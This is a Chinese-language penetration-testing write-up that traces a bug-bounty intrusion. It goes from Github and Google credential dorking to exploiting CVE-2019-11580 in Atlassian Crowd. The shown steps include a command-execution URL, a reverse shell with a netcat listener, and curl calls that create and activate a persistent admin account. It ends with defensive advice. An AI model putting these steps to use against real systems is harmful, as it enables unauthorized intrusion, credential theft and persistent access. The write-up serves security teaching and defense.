从信息收集到内网漫游
字数 1288 2025-08-25 22:58:34
从信息收集到内网漫游渗透实战指南
概述
本文详细记录了一次完整的渗透测试过程,从初始信息收集到最终获得内网访问权限的全流程。攻击者通过结合多种技术手段,成功进入目标企业内网,最终获得9000美元的漏洞奖励。
渗透流程概览(TL;DR)
- Github信息收集:寻找凭据和内网地址信息
- Google Hacking:搜索敏感信息
- 漏洞利用:发现并利用Atlassian Crowd的CVE-2019-11580漏洞
- 权限提升:获得系统权限并访问内网资产
详细渗透过程
一、Github信息收集
-
凭据收集:
- 搜索目标公司相关的密码、API密钥等敏感信息
- 使用关键词组合:
password "target.tld"、telnet、ftp、ssh、mysql、jdbc、oracle - 发现约50多个潜在密码
-
IP地址收集:
- 收集IP地址并分析规律
- 通过IP确定资产归属
- 发现5个高价值目标(P1)
-
开发信息收集:
- 分析目标公司使用的开发框架
- 检查代码库中的敏感信息泄露
- 搜索关键词:
password、pwd、pass、api
-
关联分析:
- 发现一个repo后,继续搜索该用户的其他repo
- 查找与该repo相关的其他人员的repo
二、Google Hacking技术
- 使用高级搜索语法:
site:*.target.com AND intext:their_password - 发现内网域名和敏感信息:
- FTP凭证
- Web管理密码
- 数据库连接信息
- 成功获取4个有效账户凭证
三、漏洞发现与利用
-
发现易受攻击的Atlassian Crowd:
- 通过子域名扫描发现老版本Atlassian Crowd
- 确认存在CVE-2019-11580漏洞
-
漏洞验证:
- 访问
/admin/uploadplugin.action端点 - 若返回
HTTP Status 400 — Requires POST则可能存在漏洞
- 访问
-
漏洞利用:
- 使用公开PoC(jas502n/CVE-2019-11580)
- 通过URL执行命令:
/crowd/plugins/servlet/exp?cmd=command_here
-
获取Shell:
- 下载并执行Python反向Shell脚本
- 使用netcat监听:
nc -lvp <port> - 升级为交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
四、权限维持与内网访问
-
查找凭据:
- 定位Confluence配置文件:
<confluence_home>/confluence.cfg.xml - 获取加密的数据库密码
- 定位Confluence配置文件:
-
创建管理账户:
- 通过REST API创建新用户:
curl -i -X POST http://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=new_user \ -H 'Content-type: application/json' \ -H 'Accept: application/json' \ -u admin:password \ -d '{"email": "user@example.com", "name": "new_user", "password": {"value": "new_pass"}}' - 激活用户:
curl -i -u admin:password -X PUT \ --data '{"name":"new_user", "active":"true"}' \ http://subdomain.target.com/crowd/rest/usermanagement/1/user?username=new_user \ --header 'Content-Type: application/json' \ --header 'Accept: application/json'
- 通过REST API创建新用户:
-
内网资产发现:
- 利用Github收集的网段信息扫描内网
- 发现并访问多个内网系统
关键经验总结
- 信息收集是基础:Github和Google Hacking往往能提供关键突破口
- 手动与自动化结合:自动化工具效率高,但手动分析能发现更多细节
- 漏洞利用链构建:单个漏洞可能价值有限,但组合利用能实现更大突破
- 权限维持很重要:创建持久化账户比单纯利用漏洞更有价值
- 内网渗透准备:提前收集的IP和网段信息在内网渗透阶段极其有用
防御建议
- 定期审计Github等代码托管平台的敏感信息泄露
- 及时更新Atlassian等企业软件到最新版本
- 实施严格的访问控制,特别是对管理接口的访问
- 监控异常账户创建行为
- 对内部系统实施网络隔离,减少攻击面